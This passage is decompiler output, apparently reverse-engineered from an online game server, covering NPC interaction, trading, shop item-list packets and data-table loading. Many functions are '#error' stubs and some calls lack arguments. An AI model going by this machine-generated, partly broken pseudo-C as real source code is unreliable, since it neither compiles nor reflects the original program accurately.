Strength Zero", v35); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[3].oh_DamageRate = *((_WORD *)v10 + 81); } v36 = *((_WORD *)v10 + 82); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[4].oh_HitTimeRate = v36; if ( v36 ) { v37 = *(_WORD *)((char *)v10 + 203); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[4].oh_AbStateRate = v37; if ( v37 ) { v38 = BTree::operator__(&unk_615CF4, (const char *)v10 + 166); if ( v38 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MultiHitData::MultiHitTable::mht_Load : Abstate not found", (const char *)v10 + 166); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[4].oh_AbState = v38; v39 = *((_BYTE *)v10 + 202); v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[4].oh_AbStrength = v39; v40 = *(_WORD *)v10; v43 = (unsigned __int8)v39 > 0u; if ( (unsigned __int8)v39 <= 0u ) { AssertClass::ac_AssertFail(&shineassert, "MultiHitData::MultiHitTable::mht_Load : Strength Zero", v40); ShineExit("MultiHitData::MultiHitTable::mht_Load"); } } v1->mht_Array._Myfirst[*(_WORD *)v10].mhe_Array[4].oh_DamageRate = *(_WORD *)((char *)v10 + 205); } ++maxhandle; if ( (signed int)maxhandle >= (signed int)num ) break; v9 = maxhandle; } } CDataReader::ClearBF(&Reader.baseclass_0.baseclass_0); v48 = -1; CCharacterTitleData::_CCharacterTitleData(&Reader.baseclass_0); __security_check_cookie(cookie); } //----- (00490A20) -------------------------------------------------------- void __thiscall AxialListNearScan::AxialListNearScan(AxialListNearScan *this) { AxialListNearScan *v1; // esi@1 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListScanSkillTarget::_vftable_; v1->alns_bp = 0; } // 5D9B04: using guessed type int (__stdcall *AxialListScanSkillTarget___vftable_)(int, int, int distancesquar); //----- (00490A40) -------------------------------------------------------- void __thiscall AxialListNearScan::_AxialListNearScan(AxialListNearScan *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListScanSkillTarget::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5D9B04: using guessed type int (__stdcall *AxialListScanSkillTarget___vftable_)(int, int, int distancesquar); //----- (00490A50) -------------------------------------------------------- int __thiscall AxialListNearScan::alns_GetNumber(AxialListNearScan *this) { return this->alns_bp; } //----- (00490A60) -------------------------------------------------------- #error "490A60: undefined or illegal type '#325' (funcsize=7)" //----- (00490A80) -------------------------------------------------------- int __cdecl AxialListNearScan::alns_Compare(const void *a, const void *b) { return *((_DWORD *)a + 1) - *((_DWORD *)b + 1); } //----- (00490A90) -------------------------------------------------------- #error "490A90: undefined or illegal type '#325' (funcsize=14)" //----- (00490AD0) -------------------------------------------------------- #error "490AD0: undefined or illegal type '#325' (funcsize=77)" //----- (00490BB0) -------------------------------------------------------- #error "490BB0: undefined or illegal type '#325' (funcsize=62)" //----- (00490CA0) -------------------------------------------------------- #error "490CA0: undefined or illegal type '#325' (funcsize=46)" //----- (00490D10) -------------------------------------------------------- void __thiscall NPCRoleBase::nrb_Role(NPCRoleBase *this, #434 *a2, NPCManager::NPCIndexArray *npcfunc, unsigned __int16 npchandle) { AssertClass::ac_AssertFail(&shineassert, "NPCRoleBase::nrb_Role", 0); } //----- (00490D30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_EndOfTrade(void *this, char servermenureset) { void *v2; // esi@1 int v3; // eax@1 char v4; // dl@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EndOfTrade"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_EndOfTrade"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 17077); *((_DWORD *)v2 + 17047) = 0; if ( v3 ) { (*(void (__thiscall **)(_DWORD, void *))(**(_DWORD **)(v3 + 4) + 4))(*(_DWORD *)(v3 + 4), v2); *((_DWORD *)v2 + 17077) = 0; *((_DWORD *)v2 + 17078) = 0; if ( servermenureset ) ServerMenuActor::sma_Reset((ServerMenuActor *)((char *)v2 + 68324)); v4 = *((_BYTE *)v2 + 23280) & 0xEF; *((_WORD *)v2 + 34152) = -1; *((_BYTE *)v2 + 23280) = v4; ShineObjectClass::ShinePlayer::sp_GuildStorageClose(v2); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_EndOfTrade"); } //----- (00490E20) -------------------------------------------------------- #error "490E20: undefined or illegal type '#434' (funcsize=222)" //----- (00491120) -------------------------------------------------------- #error "491120: undefined or illegal type '#434' (funcsize=280)" //----- (00491500) -------------------------------------------------------- #error "491500: undefined or illegal type '#434' (funcsize=98)" //----- (00491680) -------------------------------------------------------- #error "491680: undefined or illegal type '#434' (funcsize=215)" //----- (00491990) -------------------------------------------------------- #error "491990: undefined or illegal type '#434' (funcsize=218)" //----- (00491C60) -------------------------------------------------------- #error "491C60: undefined or illegal type '#434' (funcsize=270)" //----- (00492080) -------------------------------------------------------- #error "492080: undefined or illegal type '#434' (funcsize=70)" //----- (004921B0) -------------------------------------------------------- #error "4921B0: undefined or illegal type '#434' (funcsize=90)" //----- (00492310) -------------------------------------------------------- #error "492310: undefined or illegal type '#434' (funcsize=29)" //----- (004923B0) -------------------------------------------------------- #error "4923B0: undefined or illegal type '#434' (funcsize=33)" //----- (00492460) -------------------------------------------------------- #error "492460: undefined or illegal type '#434' (funcsize=29)" //----- (00492500) -------------------------------------------------------- #error "492500: undefined or illegal type '#434' (funcsize=33)" //----- (00492560) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD(void *this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // eax@5 int v6; // edi@7 char *v7; // [sp-10h] [bp-128h]@4 ScriptInterrupt::InterruptHappenArgument arg; // [sp+4h] [bp-114h]@6 unsigned int v9; // [sp+108h] [bp-10h]@13 int v10; // [sp+114h] [bp-4h]@1 v4 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S4_5 & 1) ) { _S4_5 |= 1u; cmc_47.cmc_AllowMode = 70; atexit(_E5_39); } if ( (1 << **(_BYTE **)(v4 + 3716)) & cmc_47.cmc_AllowMode ) { v5 = *(_DWORD *)(v4 + 98); if ( v5 ) { arg.npcclick.npc = *(_WORD *)(netcmd + 2); Movie::CinemaComplex::cc_ScriptInterrupt( *(Movie::CinemaComplex **)(v5 + 68), ScriptInterrupt::ScriptInterruptManager::sim_NPCClick, &arg); } v6 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)(netcmd + 2)); if ( v6 ) { (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v6 + 1976))(v6, *(_WORD *)(v4 + 4)); if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v4, v6) <= 0xF4240 ) (*(void (__thiscall **)(int, int))(*(_DWORD *)v4 + 2488))(v4, v6); else ShineObjectClass::ShinePlayer::sp_EndOfTrade((void *)v4, 1); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD : NPC not found", *(_WORD *)(netcmd + 2)); ShineObjectClass::ShinePlayer::sp_EndOfTrade((void *)v4, 1); } v7 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD"; } else { v7 = "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD"; } --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); __security_check_cookie(v9); } //----- (00492700) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::InteractWithNPC(void *this, int a2) { void *v2; // esi@1 __int16 v4; // bx@6 void *v5; // eax@6 unsigned __int16 v6; // ax@8 int v7; // eax@8 int v8; // eax@10 char *v9; // eax@11 char v10; // al@11 int v11; // eax@12 int v12; // eax@15 char key; // [sp+4h] [bp-18h]@6 int v14; // [sp+Ch] [bp-10h]@6 int v15; // [sp+18h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::InteractWithNPC"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::InteractWithNPC"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( !(_S6_63 & 1) ) { _S6_63 |= 1u; cmc_48.cmc_AllowMode = 70; atexit(_E7_41); } if ( !((1 << **((_BYTE **)v2 + 929)) & cmc_48.cmc_AllowMode) || *(_WORD *)(*(_DWORD *)((char *)v2 + 32010) + 78) != -1 ) { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::InteractWithNPC"); return 0; } v4 = *(_WORD *)(a2 + 4); LOWORD(v14) = *(_WORD *)(a2 + 4); v5 = bsearch(&key, &npcmanager, unk_CC33630, 0xCu, NPCManager::nm_HandleCompare); *((_DWORD *)v2 + 17077) = v5; if ( !v5 ) { ShineObjectClass::ShinePlayer::sp_EndOfTrade(v2, 1); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::InteractWithNPC"); return 0; } *((_WORD *)v2 + 34152) = v4; v6 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 1716))(a2); *((_WORD *)v2 + 34153) = v6; v7 = CQuestZone::QuestPlayer_NPCClickCheck((CQuestZone *)((char *)v2 + 66032), v6) - 1; if ( !v7 ) { CQuestZone::QuestPlayer_NPCClick((CQuestZone *)((char *)v2 + 66032), *((_WORD *)v2 + 34153)); LABEL_15: v12 = *(_DWORD *)((char *)v2 + 78); *((_DWORD *)v2 + 17078) = &npcrolebase; *((_DWORD *)v2 + 17079) = *(_DWORD *)v12; *((_DWORD *)v2 + 17080) = *(_DWORD *)(v12 + 4); goto LABEL_16; } if ( v7 != 1 ) { v8 = *((_DWORD *)v2 + 17077); if ( *(_BYTE *)(*(_DWORD *)v8 + 63) ) { v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8220; *((_WORD *)v9 + 1) = *((_WORD *)v2 + 34153); v10 = ProtocolPacket::pp_SetPacketLen(&gpp, 4); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v10, "ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD : Packet Too Long", 4) ) { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v2, &gpp); } goto LABEL_15; } (*(void (__stdcall **)(void *, int, __int16))**(void (__stdcall ****)(_DWORD, _DWORD, _WORD))(v8 + 4))(v2, v8, v4); } LABEL_16: --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::InteractWithNPC"); return 1; } //----- (00492950) -------------------------------------------------------- #error "492950: undefined or illegal type '#434' (funcsize=76)" //----- (00492A80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S10_10 & 1) ) { _S10_10 |= 1u; cmc_50.cmc_AllowMode = 70; atexit(_E11_18); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_50.cmc_AllowMode ) ShineObjectClass::ShinePlayer::sp_EndOfTrade(v4, 1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD"); } //----- (00492B60) -------------------------------------------------------- void __thiscall NPCItemList::ItemListOption::ItemListOption(NPCItemList::ItemListOption *this) { NPCItemList::ItemListOption *v1; // esi@1 void *v2; // eax@1 v1 = this; OptionReader::OptionReader(&this->baseclass_0); v2 = operator new__(0xBBCu); v1->ilo_TempBuffer = (PROTO_NC_MENU_SHOPOPENTABLE_CMD *)v2; *((_WORD *)v2 + 1) = -1; } //----- (00492BC0) -------------------------------------------------------- void __thiscall NPCItemList::NPCItemListTable::NPCItemListTable(NPCItemList::NPCItemListTable *this) { NPCItemList::NPCItemListTable *v1; // esi@1 v1 = this; BTree::BTree(&this->nilt_Index2Handle); memset(v1, 0, 0x190u); v1->nilt_TableNumber = 0; } //----- (00492BF0) -------------------------------------------------------- void __thiscall NPCItemList::NPCItemListTable::_NPCItemListTable(NPCItemList::NPCItemListTable *this) { NPCItemList::NPCItemListTable *v1; // edi@1 signed int v2; // esi@1 v1 = this; v2 = 0; do { if ( v1->nilt_Packet[v2] ) operator delete(v1->nilt_Packet[v2]); ++v2; } while ( v2 < 100 ); BTree::_BTree(&v1->nilt_Index2Handle); } //----- (00492C20) -------------------------------------------------------- PROTO_NC_MENU_SHOPOPENTABLE_CMD *__thiscall NPCItemList::ItemListOption::ilo_PacketMake(NPCItemList::ItemListOption *this, const char *mobindex) { NPCItemList::ItemListOption *v2; // esi@1 int v3; // ebp@1 int v4; // ebx@1 int v5; // edi@1 signed int v6; // ebx@3 void *v7; // edi@4 unsigned int v8; // eax@8 signed __int16 v9; // bp@8 PROTO_NC_MENU_SHOPOPENTABLE_CMD *v10; // edx@12 bool v11; // zf@12 PROTO_NC_MENU_SHOPOPENTABLE_CMD *result; // eax@21 ORToken v13; // [sp-24h] [bp-ACh]@4 int v14; // [sp-20h] [bp-A8h]@4 int v15; // [sp-1Ch] [bp-A4h]@4 int v16; // [sp-18h] [bp-A0h]@4 ORToken v17; // [sp-14h] [bp-9Ch]@2 char *v18; // [sp-10h] [bp-98h]@2 int v19; // [sp-Ch] [bp-94h]@2 int v20; // [sp-8h] [bp-90h]@2 int *v21; // [sp-4h] [bp-8Ch]@2 int rec; // [sp+10h] [bp-78h]@2 int slot; // [sp+14h] [bp-74h]@2 int tab; // [sp+18h] [bp-70h]@1 ORToken *records; // [sp+1Ch] [bp-6Ch]@2 int tables; // [sp+20h] [bp-68h]@1 ORToken *v27; // [sp+24h] [bp-64h]@4 int type; // [sp+28h] [bp-60h]@4 char tabname[10]; // [sp+2Ch] [bp-5Ch]@2 char colname[10]; // [sp+38h] [bp-50h]@4 char buffer[64]; // [sp+44h] [bp-44h]@5 v2 = this; v3 = 0; this->ilo_TempBuffer->itemnum = 0; v4 = OptionReader::or_SelectCount(&this->baseclass_0); v5 = 0; tables = v4; for ( tab = 0; v5 < v4; tab = v5 ) { v21 = (int *)v5; sprintf(tabname, "Tab%02d"); records = &v17; v21 = (int *)v3; v20 = v3; v19 = v3; v18 = (char *)v3; *(_DWORD *)&v17.ort_Name[0] = v3; strncpy(v17.ort_Name, tabname, 0x14u); records = (ORToken *)OptionReader::or_SelectCountFrom(&v2->baseclass_0, v17); slot = -1; rec = v3; if ( (signed int)records > v3 ) { do { v6 = 0; do { v21 = (int *)v6; ++slot; sprintf(colname, "Column%02d"); v21 = &type; v20 = v3; v19 = rec; v18 = "Rec"; v27 = &v13; *(_DWORD *)&v17.ort_Name[0] = v3; v16 = v3; v15 = v3; v14 = v3; *(_DWORD *)&v13.ort_Name[0] = v3; strncpy(v13.ort_Name, tabname, 0x14u); v7 = OptionReader::or_Select(&v2->baseclass_0, colname, v13, v18, v19, v20, v21); if ( (v7 != (void *)v3) == v3 ) { AssertClass::ac_AssertFail(&shineassert, "NPCItemList::ItemListOption::ilo_PacketMake : No data", mobindex); v21 = (int *)v6; v20 = rec; v19 = tab; sprintf(buffer, "T[%d] R[%d] C[%d]"); AssertClass::ac_AssertFail(&shineassert, "NPCItemList::ItemListOption::ilo_PacketMake", buffer); ShineExit("NPCItemList::ItemListOption::ilo_PacketMake"); } if ( *(_BYTE *)v7 != 45 ) { v8 = BTree::operator__(&stru_125739F0, (const char *)v7); v9 = -1; if ( v8 != -1 ) v9 = v8; if ( v9 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "NPCItemList::ItemListOption::ilo_PacketMake : Invalid item index", (const char *)v7); } else { v10 = v2->ilo_TempBuffer; v11 = v10->itemnum >= 0x3E8u; v27 = (ORToken *)(v10->itemnum < 0x3E8u); if ( v11 ) { AssertClass::ac_AssertFail( &shineassert, "NPCItemList::ItemListOption::ilo_PacketMake : Too many items", mobindex); ShineExit("NPCItemList::ItemListOption::ilo_PacketMake"); } *((_BYTE *)&v2->ilo_TempBuffer[1].itemnum + 2 * v2->ilo_TempBuffer->itemnum + v2->ilo_TempBuffer->itemnum) = slot; *(unsigned __int16 *)((char *)&v2->ilo_TempBuffer[1].itemnum + 2 * v2->ilo_TempBuffer->itemnum + v2->ilo_TempBuffer->itemnum + 1) = v9; ++v2->ilo_TempBuffer->itemnum; } v3 = 0; } ++v6; } while ( v6 < 6 ); ++rec; } while ( rec < (signed int)records ); v4 = tables; v5 = tab; } ++v5; } v21 = (int *)(3 * v2->ilo_TempBuffer->itemnum + 4); result = (PROTO_NC_MENU_SHOPOPENTABLE_CMD *)operator new__((unsigned int)v21); *(_DWORD *)&result->itemnum = *v2->ilo_TempBuffer; memcpy(&result[1], &v2->ilo_TempBuffer[1], 3 * v2->ilo_TempBuffer->itemnum); return result; } //----- (00492EB0) -------------------------------------------------------- PROTO_NC_MENU_SHOPOPENTABLE_CMD *__thiscall NPCItemList::NPCItemListTable::nilt_MenuPacket(NPCItemList::NPCItemListTable *this, const char *mobindex) { NPCItemList::NPCItemListTable *v2; // esi@1 unsigned int v3; // eax@1 PROTO_NC_MENU_SHOPOPENTABLE_CMD *result; // eax@3 PROTO_NC_MENU_SHOPOPENTABLE_CMD *v5; // esi@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "NPCItemList::NPCItemListTable::nilt_MenuPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCItemList::NPCItemListTable::nilt_MenuPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = BTree::operator__(&v2->nilt_Index2Handle, mobindex); if ( v3 != -1 && v3 < 0x64 ) { v5 = v2->nilt_Packet[v3]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "NPCItemList::NPCItemListTable::nilt_MenuPacket"); result = v5; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "NPCItemList::NPCItemListTable::nilt_MenuPacket"); result = 0; } return result; } //----- (00492F90) -------------------------------------------------------- void __thiscall NPCItemList::NPCItemListTable::nilt_ReadTable(NPCItemList::NPCItemListTable *this, const char *mobindex) { NPCItemList::NPCItemListTable *v2; // edi@1 signed int v3; // eax@1 void *v4; // eax@4 int v5; // eax@5 int v6; // esi@5 int v7; // edi@8 char *v8; // eax@8 unsigned int v9; // [sp-10h] [bp-A4h]@9 void *v10; // [sp-10h] [bp-A4h]@11 char path[128]; // [sp+4h] [bp-90h]@4 unsigned int v12; // [sp+84h] [bp-10h]@16 int v13; // [sp+90h] [bp-4h]@4 v2 = this; v3 = this->nilt_TableNumber; if ( v3 >= 100 ) { AssertClass::ac_AssertFail(&shineassert, "NPCItemList::NPCItemListTable::nilt_ReadTable : Too many merchants", v3); ShineExit("NPCItemList::NPCItemListTable::nilt_ReadTable"); } sprintf(path, "../9Data/Shine/NPCItemList/%s.txt"); v4 = operator new(0x10858u); v13 = 0; if ( v4 ) { NPCItemList::ItemListOption::ItemListOption((NPCItemList::ItemListOption *)v4); v6 = v5; } else { v6 = 0; } v13 = -1; if ( !OptionReader::or_Read((OptionReader *)v6, path) ) { AssertClass::ac_AssertFail(&shineassert, "NPCItemList::NPCItemListTable::nilt_ReadTable : Read error", path); v7 = OptionReader::or_ErrorLine((OptionReader *)v6); v8 = OptionReader::or_ErrorString((OptionReader *)v6); AssertClass::ac_AssertFail(&shineassert, v8, v7); goto LABEL_13; } v2->nilt_Packet[v2->nilt_TableNumber] = NPCItemList::ItemListOption::ilo_PacketMake( (NPCItemList::ItemListOption *)v6, mobindex); v9 = v2->nilt_TableNumber; if ( v2->nilt_Packet[v2->nilt_TableNumber] ) { BTree::bt_Insert(&v2->nilt_Index2Handle, mobindex, v9); ++v2->nilt_TableNumber; LABEL_13: if ( v6 ) { v10 = *(void **)(v6 + 67668); goto LABEL_15; } goto LABEL_16; } AssertClass::ac_AssertFail(&shineassert, "NPCItemList::NPCItemListTable::nilt_ReadTable : Packet make err", v9); if ( v6 ) { v10 = *(void **)(v6 + 67668); LABEL_15: operator delete(v10); OptionReader::_OptionReader((OptionReader *)v6); operator delete((void *)v6); } LABEL_16: __security_check_cookie(v12); } //----- (00493120) -------------------------------------------------------- OptionReader *__thiscall NPCManager::operator_>(NPCManager *this) { return &this->nm_NPCInfo; } //----- (00493130) -------------------------------------------------------- void __thiscall NPCManager::NPCManager(NPCManager *this) { OptionReader::OptionReader(&this->nm_NPCInfo); } //----- (00493150) -------------------------------------------------------- int __cdecl NPCManager::nm_HandleCompare(const void *a, const void *b) { return *((_WORD *)a + 4) - *((_WORD *)b + 4); } //----- (00493170) -------------------------------------------------------- void __thiscall NPCRoleBase::NPCRoleBase(NPCRoleBase *this, NPCManager::NPCInformTemplete *npctemplet) { NPCRoleBase *v2; // esi@1 char *v3; // eax@2 char Dest[4]; // [sp+8h] [bp-14h]@2 int v5; // [sp+Ch] [bp-10h]@2 int v6; // [sp+10h] [bp-Ch]@2 int v7; // [sp+14h] [bp-8h]@2 int v8; // [sp+18h] [bp-4h]@2 v2 = this; this->vfptr = (NPCRoleBaseVtbl *)&NPCRoleBase::_vftable_; *(_QWORD *)&this->nrb_argument.ort_Name[12] = 0i64; *(_QWORD *)&this->nrb_argument.ort_Name[4] = 0i64; *(_DWORD *)&this->nrb_argument.ort_Name[0] = 0; if ( npctemplet ) { v3 = (char *)&npctemplet->rolearg; } else { v8 = 0; v7 = 0; v6 = 0; v5 = 0; *(_DWORD *)Dest = 0; strncpy(Dest, byte_5A62A6, 0x14u); v3 = Dest; } *(_DWORD *)&v2->nrb_argument.ort_Name[0] = *(_DWORD *)v3; *(_DWORD *)&v2->nrb_argument.ort_Name[4] = *((_DWORD *)v3 + 1); *(_DWORD *)&v2->nrb_argument.ort_Name[8] = *((_DWORD *)v3 + 2); *(_DWORD *)&v2->nrb_argument.ort_Name[12] = *((_DWORD *)v3 + 3); *(_DWORD *)&v2->nrb_argument.ort_Name[16] = *((_DWORD *)v3 + 4); } // 5BBB7C: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (004931F0) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall NPCRoleBase::nrb_linkinform(NPCRoleBase *this, int num) { AssertClass::ac_AssertFail(&shineassert, "NPCRoleBase::nrb_linkinform", 0); return 0; } //----- (00493210) -------------------------------------------------------- void __thiscall NPCRoleBase::_NPCRoleBase(NPCRoleBase *this) { this->vfptr = (NPCRoleBaseVtbl *)&NPCRoleBase::_vftable_; } // 5BBB7C: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (00493220) -------------------------------------------------------- NPCManager::LinkInformTemplete *__thiscall NPCRole_Portal::nrb_linkinform(NPCRole_Portal *this, int num) { int v3; // [sp-18h] [bp-18h]@1 int v4; // [sp-14h] [bp-14h]@1 int v5; // [sp-10h] [bp-10h]@1 int v6; // [sp-Ch] [bp-Ch]@1 int v7; // [sp-8h] [bp-8h]@1 int v8; // [sp-4h] [bp-4h]@1 v8 = num; v7 = 0; v6 = 0; v5 = 0; v4 = 0; v3 = 0; strncpy((char *)&v3, "LinkTable", 0x14u); return (NPCManager::LinkInformTemplete *)OptionReader::or_SelectFromOrder(&stru_CC33634, *(ORToken *)&v3, v8); } //----- (00493260) -------------------------------------------------------- void __thiscall NPCRole_ID_Portal::NPCRole_ID_Portal(NPCRole_ID_Portal *this, NPCManager::NPCInformTemplete *npctemplet) { NPCRole_ID_Portal *v2; // esi@1 v2 = this; NPCRoleBase::NPCRoleBase(&this->baseclass_0.baseclass_0, npctemplet); v2->baseclass_0.nrb_BrenchNumber = 0; v2->baseclass_0.baseclass_0.vfptr = (NPCRoleBaseVtbl *)&NPCRole_ID_Portal::_vftable_; } // 5BBC10: using guessed type int (__stdcall *NPCRole_ID_Portal___vftable_)(#325 *, int npcfunc, __int16 Inv); //----- (00493280) -------------------------------------------------------- void __thiscall NPCRole_Guard::NPCRole_Guard(NPCRole_Guard *this, NPCManager::NPCInformTemplete *npctemplet) { NPCRole_Guard *v2; // esi@1 v2 = this; NPCRoleBase::NPCRoleBase(&this->baseclass_0, npctemplet); v2->baseclass_0.vfptr = (NPCRoleBaseVtbl *)&NPCRoleBase::_vftable_; } // 5BBB7C: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (004932A0) -------------------------------------------------------- void __thiscall NPCRole_MenuOpen::NPCRole_MenuOpen(NPCRole_MenuOpen *this, NPCManager::NPCInformTemplete *npctemplet) { NPCRole_MenuOpen *v2; // esi@1 v2 = this; NPCRoleBase::NPCRoleBase(&this->baseclass_0, npctemplet); v2->baseclass_0.vfptr = (NPCRoleBaseVtbl *)&NPCRole_MenuOpen::_vftable_; } // 5BBC88: using guessed type int (__stdcall *NPCRole_MenuOpen___vftable_)(int, int npcfunc, __int16 npchandle); //----- (004932C0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 5u, 5u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00493370) -------------------------------------------------------- void __thiscall NPCManager::nm_Load(NPCManager *this, Name4 *world) { NPCManager *v2; // esi@1 int v3; // ecx@1 int v4; // edx@1 int v5; // eax@1 int v6; // eax@2 int v7; // eax@6 NPCManager::NPCInformTemplete *v8; // eax@8 int v9; // eax@9 int v10; // edi@9 unsigned int v11; // ebp@9 unsigned int v12; // ecx@9 unsigned int v13; // edx@9 unsigned int v14; // eax@9 void *v15; // edi@12 int v16; // eax@15 int v17; // ecx@15 void *v18; // edi@24 void *v19; // edi@29 void *v20; // edi@34 void *v21; // edi@40 void *v22; // edi@46 void *v23; // eax@52 NPCRoleBase *v24; // eax@53 void *v25; // eax@55 NPCRoleBase *v26; // eax@56 void *v27; // eax@59 NPCRoleBase *v28; // eax@60 signed int i; // esi@68 void *v30; // eax@69 char v31; // cl@70 ORToken v32; // [sp-2Ah] [bp-1C0h]@8 int v33; // [sp-26h] [bp-1BCh]@8 int v34; // [sp-22h] [bp-1B8h]@8 char *v35; // [sp-1Eh] [bp-1B4h]@8 const char *v36; // [sp-1Ah] [bp-1B0h]@8 signed int v37; // [sp-16h] [bp-1ACh]@8 char rst; // [sp+1h] [bp-195h]@2 int v39; // [sp+2h] [bp-194h]@26 __int64 v40; // [sp+6h] [bp-190h]@26 __int64 v41; // [sp+Eh] [bp-188h]@26 int v42; // [sp+16h] [bp-180h]@31 __int64 v43; // [sp+1Ah] [bp-17Ch]@31 __int64 v44; // [sp+22h] [bp-174h]@31 int v45; // [sp+2Ah] [bp-16Ch]@37 __int64 v46; // [sp+2Eh] [bp-168h]@37 __int64 v47; // [sp+36h] [bp-160h]@37 int v48; // [sp+3Eh] [bp-158h]@21 __int64 v49; // [sp+42h] [bp-154h]@21 __int64 v50; // [sp+4Ah] [bp-14Ch]@21 int v51; // [sp+52h] [bp-144h]@49 __int64 v52; // [sp+56h] [bp-140h]@49 __int64 v53; // [sp+5Eh] [bp-138h]@49 char Dest[4]; // [sp+66h] [bp-130h]@9 __int64 v55; // [sp+6Ah] [bp-12Ch]@9 __int64 v56; // [sp+72h] [bp-124h]@9 int v57; // [sp+7Ah] [bp-11Ch]@15 int v58; // [sp+7Eh] [bp-118h]@15 int v59; // [sp+82h] [bp-114h]@15 int v60; // [sp+86h] [bp-110h]@15 int v61; // 